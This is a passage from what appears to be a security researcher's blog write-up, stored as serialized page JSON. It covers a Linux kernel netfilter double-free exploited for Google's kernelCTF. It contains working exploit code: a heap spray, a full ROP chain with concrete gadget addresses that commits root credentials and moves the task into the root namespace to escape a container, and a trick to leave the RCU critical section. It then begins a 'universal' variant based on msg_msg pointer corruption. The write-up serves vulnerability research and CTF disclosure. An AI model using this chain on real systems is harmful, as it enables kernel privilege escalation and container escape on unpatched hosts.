1);\n",{"type":23,"tag":134,"props":55997,"children":55998},{"class":136,"line":984},[55999],{"type":23,"tag":134,"props":56000,"children":56001},{"style":1461},[56002],{"type":28,"value":55806},{"type":23,"tag":134,"props":56004,"children":56005},{"class":136,"line":992},[56006],{"type":23,"tag":134,"props":56007,"children":56008},{"style":1461},[56009],{"type":28,"value":56010},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":23,"tag":134,"props":56012,"children":56013},{"class":136,"line":1024},[56014],{"type":23,"tag":134,"props":56015,"children":56016},{"emptyLinePlaceholder":15},[56017],{"type":28,"value":865},{"type":23,"tag":134,"props":56019,"children":56020},{"class":136,"line":1032},[56021],{"type":23,"tag":134,"props":56022,"children":56023},{"style":1461},[56024],{"type":28,"value":56025},"    // Takeover RIP\n",{"type":23,"tag":134,"props":56027,"children":56028},{"class":136,"line":1092},[56029,56033,56037,56041,56045,56050,56055],{"type":23,"tag":134,"props":56030,"children":56031},{"style":1461},[56032],{"type":28,"value":55961},{"type":23,"tag":134,"props":56034,"children":56035},{"style":179},[56036],{"type":28,"value":924},{"type":23,"tag":134,"props":56038,"children":56039},{"style":168},[56040],{"type":28,"value":1777},{"type":23,"tag":134,"props":56042,"children":56043},{"style":179},[56044],{"type":28,"value":8121},{"type":23,"tag":134,"props":56046,"children":56047},{"style":597},[56048],{"type":28,"value":56049},"Takeover",{"type":23,"tag":134,"props":56051,"children":56052},{"style":597},[56053],{"type":28,"value":56054}," RIP",{"type":23,"tag":134,"props":56056,"children":56057},{"style":1461},[56058],{"type":28,"value":55798},{"type":23,"tag":134,"props":56060,"children":56061},{"class":136,"line":8508},[56062,56067,56071,56076],{"type":23,"tag":134,"props":56063,"children":56064},{"style":1461},[56065],{"type":28,"value":56066},"    dump_obj(nl, \"",{"type":23,"tag":134,"props":56068,"children":56069},{"style":151},[56070],{"type":28,"value":55788},{"type":23,"tag":134,"props":56072,"children":56073},{"style":179},[56074],{"type":28,"value":56075},"-1",{"type":23,"tag":134,"props":56077,"children":56078},{"style":1461},[56079],{"type":28,"value":55798},{"type":23,"tag":134,"props":56081,"children":56082},{"class":136,"line":8526},[56083],{"type":23,"tag":134,"props":56084,"children":56085},{"style":1461},[56086],{"type":28,"value":9783},{"type":23,"tag":9072,"props":56088,"children":56090},{"id":56089},"bypass-context-switch-in-rcu-critical-section",[56091],{"type":28,"value":56092},"Bypass context switch in RCU critical-section",{"type":23,"tag":24,"props":56094,"children":56095},{},[56096,56097,56102],{"type":28,"value":16084},{"type":23,"tag":92,"props":56098,"children":56100},{"className":56099},[],[56101],{"type":28,"value":54620},{"type":28,"value":56103}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":23,"tag":24,"props":56105,"children":56106},{},[56107,56109,56116,56118,56124,56126,56132],{"type":28,"value":56108},"A workaround has been discussed before by D3v17 in a ",{"type":23,"tag":31,"props":56110,"children":56113},{"href":56111,"rel":56112},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[35],[56114],{"type":28,"value":56115},"previous kernelCTF submission",{"type":28,"value":56117}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":23,"tag":92,"props":56119,"children":56121},{"className":56120},[],[56122],{"type":28,"value":56123},"task_struct",{"type":28,"value":56125}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":23,"tag":92,"props":56127,"children":56129},{"className":56128},[],[56130],{"type":28,"value":56131},"__rcu_read_unlock()",{"type":28,"value":56133}," function and exit the RCU critical-section before switching contexts.",{"type":23,"tag":87,"props":56135,"children":56137},{"className":28603,"code":56136,"language":28605,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[56138],{"type":23,"tag":92,"props":56139,"children":56140},{"__ignoreMap":7},[56141,56149,56173,56180],{"type":23,"tag":134,"props":56142,"children":56143},{"class":136,"line":137},[56144],{"type":23,"tag":134,"props":56145,"children":56146},{"style":141},[56147],{"type":28,"value":56148},"    // ROP stage 1\n",{"type":23,"tag":134,"props":56150,"children":56151},{"class":136,"line":147},[56152,56156,56161,56165,56169],{"type":23,"tag":134,"props":56153,"children":56154},{"style":151},[56155],{"type":28,"value":18553},{"type":23,"tag":134,"props":56157,"children":56158},{"style":179},[56159],{"type":28,"value":56160}," pos ",{"type":23,"tag":134,"props":56162,"children":56163},{"style":168},[56164],{"type":28,"value":257},{"type":23,"tag":134,"props":56166,"children":56167},{"style":205},[56168],{"type":28,"value":18575},{"type":23,"tag":134,"props":56170,"children":56171},{"style":179},[56172],{"type":28,"value":182},{"type":23,"tag":134,"props":56174,"children":56175},{"class":136,"line":185},[56176],{"type":23,"tag":134,"props":56177,"children":56178},{"emptyLinePlaceholder":15},[56179],{"type":28,"value":865},{"type":23,"tag":134,"props":56181,"children":56182},{"class":136,"line":221},[56183,56187,56192,56196,56200,56204,56208,56212],{"type":23,"tag":134,"props":56184,"children":56185},{"style":162},[56186],{"type":28,"value":55676},{"type":23,"tag":134,"props":56188,"children":56189},{"style":179},[56190],{"type":28,"value":56191},"[pos",{"type":23,"tag":134,"props":56193,"children":56194},{"style":168},[56195],{"type":28,"value":50775},{"type":23,"tag":134,"props":56197,"children":56198},{"style":179},[56199],{"type":28,"value":8121},{"type":23,"tag":134,"props":56201,"children":56202},{"style":168},[56203],{"type":28,"value":257},{"type":23,"tag":134,"props":56205,"children":56206},{"style":179},[56207],{"type":28,"value":55697},{"type":23,"tag":134,"props":56209,"children":56210},{"style":168},[56211],{"type":28,"value":1586},{"type":23,"tag":134,"props":56213,"children":56214},{"style":179},[56215],{"type":28,"value":56216}," __RCU_READ_UNLOCK;\n",{"type":23,"tag":9072,"props":56218,"children":56220},{"id":56219},"rop",[56221],{"type":28,"value":55876},{"type":23,"tag":24,"props":56223,"children":56224},{},[56225],{"type":28,"value":56226},"Most of the ROP chain to escape the container as root is business as usual:",{"type":23,"tag":16158,"props":56228,"children":56229},{},[56230,56241,56252],{"type":23,"tag":4894,"props":56231,"children":56232},{},[56233,56239],{"type":23,"tag":92,"props":56234,"children":56236},{"className":56235},[],[56237],{"type":28,"value":56238},"commit_creds(&init_cred);",{"type":28,"value":56240}," Commit root credentials to our process",{"type":23,"tag":4894,"props":56242,"children":56243},{},[56244,56250],{"type":23,"tag":92,"props":56245,"children":56247},{"className":56246},[],[56248],{"type":28,"value":56249},"task = find_task_by_vpid(1);",{"type":28,"value":56251}," Find the root process of our namespace",{"type":23,"tag":4894,"props":56253,"children":56254},{},[56255,56261],{"type":23,"tag":92,"props":56256,"children":56258},{"className":56257},[],[56259],{"type":28,"value":56260},"switch_task_namespaces(task, &init_nsproxy);",{"type":28,"value":56262}," Move it to the root namespace",{"type":23,"tag":24,"props":56264,"children":56265},{},[56266,56268,56274,56276,56282,56284,56290,56292,56298,56300,56305,56307,56313],{"type":28,"value":56267},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":23,"tag":92,"props":56269,"children":56271},{"className":56270},[],[56272],{"type":28,"value":56273},"find_task_by_vpid(1)",{"type":28,"value":56275}," passed through ",{"type":23,"tag":92,"props":56277,"children":56279},{"className":56278},[],[56280],{"type":28,"value":56281},"rax",{"type":28,"value":56283}," to ",{"type":23,"tag":92,"props":56285,"children":56287},{"className":56286},[],[56288],{"type":28,"value":56289},"rdi",{"type":28,"value":56291},". What I ended up going with was a ",{"type":23,"tag":92,"props":56293,"children":56295},{"className":56294},[],[56296],{"type":28,"value":56297},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":28,"value":56299}," gadget, that allowed me to push the ",{"type":23,"tag":92,"props":56301,"children":56303},{"className":56302},[],[56304],{"type":28,"value":56281},{"type":28,"value":56306}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":23,"tag":92,"props":56308,"children":56310},{"className":56309},[],[56311],{"type":28,"value":56312},"pop rdi; ret",{"type":28,"value":56314}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":23,"tag":16158,"props":56316,"children":56317},{},[56318,56323,56336],{"type":23,"tag":4894,"props":56319,"children":56320},{},[56321],{"type":28,"value":56322},"We push the value onto the stack (stack pointer regresses)",{"type":23,"tag":4894,"props":56324,"children":56325},{},[56326,56328,56334],{"type":28,"value":56327},"We jump to our \"trampoline\" gadget (",{"type":23,"tag":92,"props":56329,"children":56331},{"className":56330},[],[56332],{"type":28,"value":56333},"pop rdi; ret;",{"type":28,"value":56335}," location)",{"type":23,"tag":4894,"props":56337,"children":56338},{},[56339,56344],{"type":23,"tag":92,"props":56340,"children":56342},{"className":56341},[],[56343],{"type":28,"value":56312},{"type":28,"value":56345}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":23,"tag":87,"props":56347,"children":56349},{"className":28603,"code":56348,"language":28605,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[56350],{"type":23,"tag":92,"props":56351,"children":56352},{"__ignoreMap":7},[56353,56360,56377,56422,56458,56494,56501,56509,56552,56583,56619,56664,56719,56764,56771,56779,56822,56858,56894],{"type":23,"tag":134,"props":56354,"children":56355},{"class":136,"line":137},[56356],{"type":23,"tag":134,"props":56357,"children":56358},{"style":179},[56359],{"type":28,"value":9783},{"type":23,"tag":134,"props":56361,"children":56362},{"class":136,"line":147},[56363,56368,56373],{"type":23,"tag":134,"props":56364,"children":56365},{"style":179},[56366],{"type":28,"value":56367},"    // commit_creds(&",{"type":23,"tag":134,"props":56369,"children":56370},{"style":162},[56371],{"type":28,"value":56372},"init_cred",{"type":23,"tag":134,"props":56374,"children":56375},{"style":179},[56376],{"type":28,"value":1021},{"type":23,"tag":134,"props":56378,"children":56379},{"class":136,"line":185},[56380,56384,56388,56392,56396,56400,56404,56408,56413,56417],{"type":23,"tag":134,"props":56381,"children":56382},{"style":162},[56383],{"type":28,"value":55676},{"type":23,"tag":134,"props":56385,"children":56386},{"style":179},[56387],{"type":28,"value":56191},{"type":23,"tag":134,"props":56389,"children":56390},{"style":168},[56391],{"type":28,"value":50775},{"type":23,"tag":134,"props":56393,"children":56394},{"style":179},[56395],{"type":28,"value":8121},{"type":23,"tag":134,"props":56397,"children":56398},{"style":168},[56399],{"type":28,"value":257},{"type":23,"tag":134,"props":56401,"children":56402},{"style":179},[56403],{"type":28,"value":55697},{"type":23,"tag":134,"props":56405,"children":56406},{"style":168},[56407],{"type":28,"value":1586},{"type":23,"tag":134,"props":56409,"children":56410},{"style":205},[56411],{"type":28,"value":56412}," 0xffffffff8112c7c0",{"type":23,"tag":134,"props":56414,"children":56415},{"style":179},[56416],{"type":28,"value":48579},{"type":23,"tag":134,"props":56418,"children":56419},{"style":141},[56420],{"type":28,"value":56421}," // pop rdi; ret;\n",{"type":23,"tag":134,"props":56423,"children":56424},{"class":136,"line":221},[56425,56429,56433,56437,56441,56445,56449,56453],{"type":23,"tag":134,"props":56426,"children":56427},{"style":162},[56428],{"type":28,"value":55676},{"type":23,"tag":134,"props":56430,"children":56431},{"style":179},[56432],{"type":28,"value":56191},{"type":23,"tag":134,"props":56434,"children":56435},{"style":168},[56436],{"type":28,"value":50775},{"type":23,"tag":134,"props":56438,"children":56439},{"style":179},[56440],{"type":28,"value":8121},{"type":23,"tag":134,"props":56442,"children":56443},{"style":168},[56444],{"type":28,"value":257},{"type":23,"tag":134,"props":56446,"children":56447},{"style":179},[56448],{"type":28,"value":55697},{"type":23,"tag":134,"props":56450,"children":56451},{"style":168},[56452],{"type":28,"value":1586},{"type":23,"tag":134,"props":56454,"children":56455},{"style":179},[56456],{"type":28,"value":56457}," INIT_CRED;\n",{"type":23,"tag":134,"props":56459,"children":56460},{"class":136,"line":332},[56461,56465,56469,56473,56477,56481,56485,56489],{"type":23,"tag":134,"props":56462,"children":56463},{"style":162},[56464],{"type":28,"value":55676},{"type":23,"tag":134,"props":56466,"children":56467},{"style":179},[56468],{"type":28,"value":56191},{"type":23,"tag":134,"props":56470,"children":56471},{"style":168},[56472],{"type":28,"value":50775},{"type":23,"tag":134,"props":56474,"children":56475},{"style":179},[56476],{"type":28,"value":8121},{"type":23,"tag":134,"props":56478,"children":56479},{"style":168},[56480],{"type":28,"value":257},{"type":23,"tag":134,"props":56482,"children":56483},{"style":179},[56484],{"type":28,"value":55697},{"type":23,"tag":134,"props":56486,"children":56487},{"style":168},[56488],{"type":28,"value":1586},{"type":23,"tag":134,"props":56490,"children":56491},{"style":179},[56492],{"type":28,"value":56493}," COMMIT_CREDS;\n",{"type":23,"tag":134,"props":56495,"children":56496},{"class":136,"line":438},[56497],{"type":23,"tag":134,"props":56498,"children":56499},{"emptyLinePlaceholder":15},[56500],{"type":28,"value":865},{"type":23,"tag":134,"props":56502,"children":56503},{"class":136,"line":466},[56504],{"type":23,"tag":134,"props":56505,"children":56506},{"style":141},[56507],{"type":28,"value":56508},"    // task = find_task_by_vpid(1);\n",{"type":23,"tag":134,"props":56510,"children":56511},{"class":136,"line":479},[56512,56516,56520,56524,56528,56532,56536,56540,56544,56548],{"type":23,"tag":134,"props":56513,"children":56514},{"style":162},[56515],{"type":28,"value":55676},{"type":23,"tag":134,"props":56517,"children":56518},{"style":179},[56519],{"type":28,"value":56191},{"type":23,"tag":134,"props":56521,"children":56522},{"style":168},[56523],{"type":28,"value":50775},{"type":23,"tag":134,"props":56525,"children":56526},{"style":179},[56527],{"type":28,"value":8121},{"type":23,"tag":134,"props":56529,"children":56530},{"style":168},[56531],{"type":28,"value":257},{"type":23,"tag":134,"props":56533,"children":56534},{"style":179},[56535],{"type":28,"value":55697},{"type":23,"tag":134,"props":56537,"children":56538},{"style":168},[56539],{"type":28,"value":1586},{"type":23,"tag":134,"props":56541,"children":56542},{"style":205},[56543],{"type":28,"value":56412},{"type":23,"tag":134,"props":56545,"children":56546},{"style":179},[56547],{"type":28,"value":48579},{"type":23,"tag":134,"props":56549,"children":56550},{"style":141},[56551],{"type":28,"value":56421},{"type":23,"tag":134,"props":56553,"children":56554},{"class":136,"line":497},[56555,56559,56563,56567,56571,56575,56579],{"type":23,"tag":134,"props":56556,"children":56557},{"style":162},[56558],{"type":28,"value":55676},{"type":23,"tag":134,"props":56560,"children":56561},{"style":179},[56562],{"type":28,"value":56191},{"type":23,"tag":134,"props":56564,"children":56565},{"style":168},[56566],{"type":28,"value":50775},{"type":23,"tag":134,"props":56568,"children":56569},{"style":179},[56570],{"type":28,"value":8121},{"type":23,"tag":134,"props":56572,"children":56573},{"style":168},[56574],{"type":28,"value":257},{"type":23,"tag":134,"props":56576,"children":56577},{"style":205},[56578],{"type":28,"value":1729},{"type":23,"tag":134,"props":56580,"children":56581},{"style":179},[56582],{"type":28,"value":182},{"type":23,"tag":134,"props":56584,"children":56585},{"class":136,"line":518},[56586,56590,56594,56598,56602,56606,56610,56614],{"type":23,"tag":134,"props":56587,"children":56588},{"style":162},[56589],{"type":28,"value":55676},{"type":23,"tag":134,"props":56591,"children":56592},{"style":179},[56593],{"type":28,"value":56191},{"type":23,"tag":134,"props":56595,"children":56596},{"style":168},[56597],{"type":28,"value":50775},{"type":23,"tag":134,"props":56599,"children":56600},{"style":179},[56601],{"type":28,"value":8121},{"type":23,"tag":134,"props":56603,"children":56604},{"style":168},[56605],{"type":28,"value":257},{"type":23,"tag":134,"props":56607,"children":56608},{"style":179},[56609],{"type":28,"value":55697},{"type":23,"tag":134,"props":56611,"children":56612},{"style":168},[56613],{"type":28,"value":1586},{"type":23,"tag":134,"props":56615,"children":56616},{"style":179},[56617],{"type":28,"value":56618}," FIND_TASK_BY_VPID;\n",{"type":23,"tag":134,"props":56620,"children":56621},{"class":136,"line":527},[56622,56626,56630,56634,56638,56642,56646,56650,56655,56659],{"type":23,"tag":134,"props":56623,"children":56624},{"style":162},[56625],{"type":28,"value":55676},{"type":23,"tag":134,"props":56627,"children":56628},{"style":179},[56629],{"type":28,"value":56191},{"type":23,"tag":134,"props":56631,"children":56632},{"style":168},[56633],{"type":28,"value":50775},{"type":23,"tag":134,"props":56635,"children":56636},{"style":179},[56637],{"type":28,"value":8121},{"type":23,"tag":134,"props":56639,"children":56640},{"style":168},[56641],{"type":28,"value":257},{"type":23,"tag":134,"props":56643,"children":56644},{"style":179},[56645],{"type":28,"value":55697},{"type":23,"tag":134,"props":56647,"children":56648},{"style":168},[56649],{"type":28,"value":1586},{"type":23,"tag":134,"props":56651,"children":56652},{"style":205},[56653],{"type":28,"value":56654}," 0xffffffff8102e2a6",{"type":23,"tag":134,"props":56656,"children":56657},{"style":179},[56658],{"type":28,"value":48579},{"type":23,"tag":134,"props":56660,"children":56661},{"style":141},[56662],{"type":28,"value":56663}," // pop rsi; ret;\n",{"type":23,"tag":134,"props":56665,"children":56666},{"class":136,"line":780},[56667,56671,56675,56679,56683,56687,56692,56696,56701,56705,56710,56714],{"type":23,"tag":134,"props":56668,"children":56669},{"style":162},[56670],{"type":28,"value":55676},{"type":23,"tag":134,"props":56672,"children":56673},{"style":179},[56674],{"type":28,"value":56191},{"type":23,"tag":134,"props":56676,"children":56677},{"style":168},[56678],{"type":28,"value":50775},{"type":23,"tag":134,"props":56680,"children":56681},{"style":179},[56682],{"type":28,"value":8121},{"type":23,"tag":134,"props":56684,"children":56685},{"style":168},[56686],{"type":28,"value":257},{"type":23,"tag":134,"props":56688,"children":56689},{"style":179},[56690],{"type":28,"value":56691}," obj_ptr ",{"type":23,"tag":134,"props":56693,"children":56694},{"style":168},[56695],{"type":28,"value":1586},{"type":23,"tag":134,"props":56697,"children":56698},{"style":205},[56699],{"type":28,"value":56700}," 0xe0",{"type":23,"tag":134,"props":56702,"children":56703},{"style":168},[56704],{"type":28,"value":50761},{"type":23,"tag":134,"props":56706,"children":56707},{"style":205},[56708],{"type":28,"value":56709}," 0x66",{"type":23,"tag":134,"props":56711,"children":56712},{"style":179},[56713],{"type":28,"value":48579},{"type":23,"tag":134,"props":56715,"children":56716},{"style":141},[56717],{"type":28,"value":56718},"            // rax -> rdi and resume rop\n",{"type":23,"tag":134,"props":56720,"children":56721},{"class":136,"line":797},[56722,56726,56730,56734,56738,56742,56746,56750,56755,56759],{"type":23,"tag":134,"props":56723,"children":56724},{"style":162},[56725],{"type":28,"value":55676},{"type":23,"tag":134,"props":56727,"children":56728},{"style":179},[56729],{"type":28,"value":56191},{"type":23,"tag":134,"props":56731,"children":56732},{"style":168},[56733],{"type":28,"value":50775},{"type":23,"tag":134,"props":56735,"children":56736},{"style":179},[56737],{"type":28,"value":8121},{"type":23,"tag":134,"props":56739,"children":56740},{"style":168},[56741],{"type":28,"value":257},{"type":23,"tag":134,"props":56743,"children":56744},{"style":179},[56745],{"type":28,"value":55697},{"type":23,"tag":134,"props":56747,"children":56748},{"style":168},[56749],{"type":28,"value":1586},{"type":23,"tag":134,"props":56751,"children":56752},{"style":205},[56753],{"type":28,"value":56754}," 0xffffffff81caed31",{"type":23,"tag":134,"props":56756,"children":56757},{"style":179},[56758],{"type":28,"value":48579},{"type":23,"tag":134,"props":56760,"children":56761},{"style":141},[56762],{"type":28,"value":56763}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":23,"tag":134,"props":56765,"children":56766},{"class":136,"line":814},[56767],{"type":23,"tag":134,"props":56768,"children":56769},{"emptyLinePlaceholder":15},[56770],{"type":28,"value":865},{"type":23,"tag":134,"props":56772,"children":56773},{"class":136,"line":827},[56774],{"type":23,"tag":134,"props":56775,"children":56776},{"style":141},[56777],{"type":28,"value":56778},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":23,"tag":134,"props":56780,"children":56781},{"class":136,"line":836},[56782,56786,56790,56794,56798,56802,56806,56810,56814,56818],{"type":23,"tag":134,"props":56783,"children":56784},{"style":162},[56785],{"type":28,"value":55676},{"type":23,"tag":134,"props":56787,"children":56788},{"style":179},[56789],{"type":28,"value":56191},{"type":23,"tag":134,"props":56791,"children":56792},{"style":168},[56793],{"type":28,"value":50775},{"type":23,"tag":134,"props":56795,"children":56796},{"style":179},[56797],{"type":28,"value":8121},{"type":23,"tag":134,"props":56799,"children":56800},{"style":168},[56801],{"type":28,"value":257},{"type":23,"tag":134,"props":56803,"children":56804},{"style":179},[56805],{"type":28,"value":55697},{"type":23,"tag":134,"props":56807,"children":56808},{"style":168},[56809],{"type":28,"value":1586},{"type":23,"tag":134,"props":56811,"children":56812},{"style":205},[56813],{"type":28,"value":56654},{"type":23,"tag":134,"props":56815,"children":56816},{"style":179},[56817],{"type":28,"value":48579},{"type":23,"tag":134,"props":56819,"children":56820},{"style":141},[56821],{"type":28,"value":56663},{"type":23,"tag":134,"props":56823,"children":56824},{"class":136,"line":859},[56825,56829,56833,56837,56841,56845,56849,56853],{"type":23,"tag":134,"props":56826,"children":56827},{"style":162},[56828],{"type":28,"value":55676},{"type":23,"tag":134,"props":56830,"children":56831},{"style":179},[56832],{"type":28,"value":56191},{"type":23,"tag":134,"props":56834,"children":56835},{"style":168},[56836],{"type":28,"value":50775},{"type":23,"tag":134,"props":56838,"children":56839},{"style":179},[56840],{"type":28,"value":8121},{"type":23,"tag":134,"props":56842,"children":56843},{"style":168},[56844],{"type":28,"value":257},{"type":23,"tag":134,"props":56846,"children":56847},{"style":179},[56848],{"type":28,"value":55697},{"type":23,"tag":134,"props":56850,"children":56851},{"style":168},[56852],{"type":28,"value":1586},{"type":23,"tag":134,"props":56854,"children":56855},{"style":179},[56856],{"type":28,"value":56857}," INIT_NSPROXY;\n",{"type":23,"tag":134,"props":56859,"children":56860},{"class":136,"line":868},[56861,56865,56869,56873,56877,56881,56885,56889],{"type":23,"tag":134,"props":56862,"children":56863},{"style":162},[56864],{"type":28,"value":55676},{"type":23,"tag":134,"props":56866,"children":56867},{"style":179},[56868],{"type":28,"value":56191},{"type":23,"tag":134,"props":56870,"children":56871},{"style":168},[56872],{"type":28,"value":50775},{"type":23,"tag":134,"props":56874,"children":56875},{"style":179},[56876],{"type":28,"value":8121},{"type":23,"tag":134,"props":56878,"children":56879},{"style":168},[56880],{"type":28,"value":257},{"type":23,"tag":134,"props":56882,"children":56883},{"style":179},[56884],{"type":28,"value":55697},{"type":23,"tag":134,"props":56886,"children":56887},{"style":168},[56888],{"type":28,"value":1586},{"type":23,"tag":134,"props":56890,"children":56891},{"style":179},[56892],{"type":28,"value":56893}," SWITCH_TASK_NAMESPACES;\n",{"type":23,"tag":134,"props":56895,"children":56896},{"class":136,"line":877},[56897],{"type":23,"tag":134,"props":56898,"children":56899},{"style":179},[56900],{"type":28,"value":9783},{"type":23,"tag":9072,"props":56902,"children":56904},{"id":56903},"grabbing-the-kernelctf-flag",[56905],{"type":28,"value":56906},"Grabbing the kernelCTF flag",{"type":23,"tag":24,"props":56908,"children":56909},{},[56910,56914,56916,56923],{"type":23,"tag":1116,"props":56911,"children":56913},{"alt":50084,"src":56912},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":28,"value":56915},"\nYou can find the kernelCTF exploit in our ",{"type":23,"tag":31,"props":56917,"children":56920},{"href":56918,"rel":56919},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[35],[56921],{"type":28,"value":56922},"GitHub",{"type":28,"value":720},{"type":23,"tag":61,"props":56925,"children":56927},{"id":56926},"universal-exploit",[56928],{"type":28,"value":56929},"Universal exploit",{"type":23,"tag":24,"props":56931,"children":56932},{},[56933],{"type":28,"value":56934},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":23,"tag":9072,"props":56936,"children":56938},{"id":56937},"pivot-capability-using-msg_msg-mlistnext-pointer",[56939],{"type":28,"value":56940},"Pivot capability using msg_msg->mlist.next pointer",{"type":23,"tag":24,"props":56942,"children":56943},{},[56944,56946,56952,56954,56959,56961,56967],{"type":28,"value":56945},"Using the double-free vulnerability we can overlap a ",{"type":23,"tag":92,"props":56947,"children":56949},{"className":56948},[],[56950],{"type":28,"value":56951},"msg_msg",{"type":28,"value":56953}," object with with ",{"type":23,"tag":92,"props":56955,"children":56957},{"className":56956},[],[56958],{"type":28,"value":54605},{"type":28,"value":56960}," and control the ",{"type":23,"tag":92,"props":56962,"children":56964},{"className":56963},[],[56965],{"type":28,"value":56966},"m_list.next",{"type":28,"value":56968}," pointer.",{"type":23,"tag":87,"props":56970,"children":56972},{"className":28603,"code":56971,"language":28605,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[56973],{"type":23,"tag":92,"props":56974,"children":56975},{"__ignoreMap":7},[56976,56984,57000,57021,57034,57052,57077,57093,57101,57108,57115,57123,57155],{"type":23,"tag":134,"props":56977,"children":56978},{"class":136,"line":137},[56979],{"type":23,"tag":134,"props":56980,"children":56981},{"style":141},[56982],{"type":28,"value":56983},"/* one msg_msg structure for each message */\n",{"type":23,"tag":134,"props":56985,"children":56986},{"class":136,"line":147},[56987,56991,56996],{"type":23,"tag":134,"props":56988,"children":56989},{"style":151},[56990],{"type":28,"value":8864},{"type":23,"tag":134,"props":56992,"children":56993},{"style":597},[56994],{"type":28,"value":56995}," msg_msg",{"type":23,"tag":134,"props":56997,"children":56998},{"style":179},[56999],{"type":28,"value":463},{"type":23,"tag":134,"props":57001,"children":57002},{"class":136,"line":185},[57003,57007,57012,57017],{"type":23,"tag":134,"props":57004,"children":57005},{"style":151},[57006],{"type":28,"value":20629},{"type":23,"tag":134,"props":57008,"children":57009},{"style":597},[57010],{"type":28,"value":57011}," list_head",{"type":23,"tag":134,"props":57013,"children":57014},{"style":162},[57015],{"type":28,"value":57016}," m_list",{"type":23,"tag":134,"props":57018,"children":57019},{"style":179},[57020],{"type":28,"value":182},{"type":23,"tag":134,"props":57022,"children":57023},{"class":136,"line":221},[57024,57029],{"type":23,"tag":134,"props":57025,"children":57026},{"style":151},[57027],{"type":28,"value":57028}," long",{"type":23,"tag":134,"props":57030,"children":57031},{"style":179},[57032],{"type":28,"value":57033}," m_type;\n",{"type":23,"tag":134,"props":57035,"children":57036},{"class":136,"line":332},[57037,57042,57047],{"type":23,"tag":134,"props":57038,"children":57039},{"style":151},[57040],{"type":28,"value":57041}," size_t",{"type":23,"tag":134,"props":57043,"children":57044},{"style":179},[57045],{"type":28,"value":57046}," m_ts;",{"type":23,"tag":134,"props":57048,"children":57049},{"style":141},[57050],{"type":28,"value":57051},"  /* message text size */\n",{"type":23,"tag":134,"props":57053,"children":57054},{"class":136,"line":438},[57055,57059,57064,57068,57073],{"type":23,"tag":134,"props":57056,"children":57057},{"style":151},[57058],{"type":28,"value":20629},{"type":23,"tag":134,"props":57060,"children":57061},{"style":597},[57062],{"type":28,"value":57063}," msg_msgseg",{"type":23,"tag":134,"props":57065,"children":57066},{"style":151},[57067],{"type":28,"value":9281},{"type":23,"tag":134,"props":57069,"children":57070},{"style":162},[57071],{"type":28,"value":57072},"next",{"type":23,"tag":134,"props":57074,"children":57075},{"style":179},[57076],{"type":28,"value":182},{"type":23,"tag":134,"props":57078,"children":57079},{"class":136,"line":466},[57080,57084,57088],{"type":23,"tag":134,"props":57081,"children":57082},{"style":151},[57083],{"type":28,"value":50555},{"type":23,"tag":134,"props":57085,"children":57086},{"style":168},[57087],{"type":28,"value":9281},{"type":23,"tag":134,"props":57089,"children":57090},{"style":179},[57091],{"type":28,"value":57092},"security;\n",{"type":23,"tag":134,"props":57094,"children":57095},{"class":136,"line":479},[57096],{"type":23,"tag":134,"props":57097,"children":57098},{"style":141},[57099],{"type":28,"value":57100}," /* the actual message follows immediately */\n",{"type":23,"tag":134,"props":57102,"children":57103},{"class":136,"line":497},[57104],{"type":23,"tag":134,"props":57105,"children":57106},{"style":179},[57107],{"type":28,"value":16048},{"type":23,"tag":134,"props":57109,"children":57110},{"class":136,"line":518},[57111],{"type":23,"tag":134,"props":57112,"children":57113},{"style":179},[57114],{"type":28,"value":9783},{"type":23,"tag":134,"props":57116,"children":57117},{"class":136,"line":527},[57118],{"type":23,"tag":134,"props":57119,"children":57120},{"style":179},[57121],{"type":28,"value":57122},"struct list_head 